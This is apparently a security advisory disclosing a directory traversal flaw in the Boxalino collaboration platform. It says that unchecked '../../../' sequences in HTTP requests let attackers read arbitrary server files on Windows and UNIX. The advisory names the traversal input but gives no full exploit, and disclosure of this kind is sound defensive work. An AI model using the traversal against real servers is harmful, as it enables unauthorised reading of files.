Introduction
------------
An Directory Traversal vulnerability exists in the collaboration
platform Boxalino [1]. Remote exploitation of a directory traversal
vulnerability in Boxalino's product allows attackers to read arbitrary
files on the server file system with web server privileges.
 
 
Affected
--------
Vulnerable:
 * Boxalino (closed-source product)
 
Not vulnerable:
 * Unknown
 
Not tested:
 * N/A
 
 
Technical Description
---------------------
When handling HTTP requests, Boxalino does not properly check for
directory traversal specifiers. Therefore, by including a sequence such
as "../../../", an attacker is able to read files outside of the
intended location. The vulnerability exists for both, Windows and UNIX
based systems.
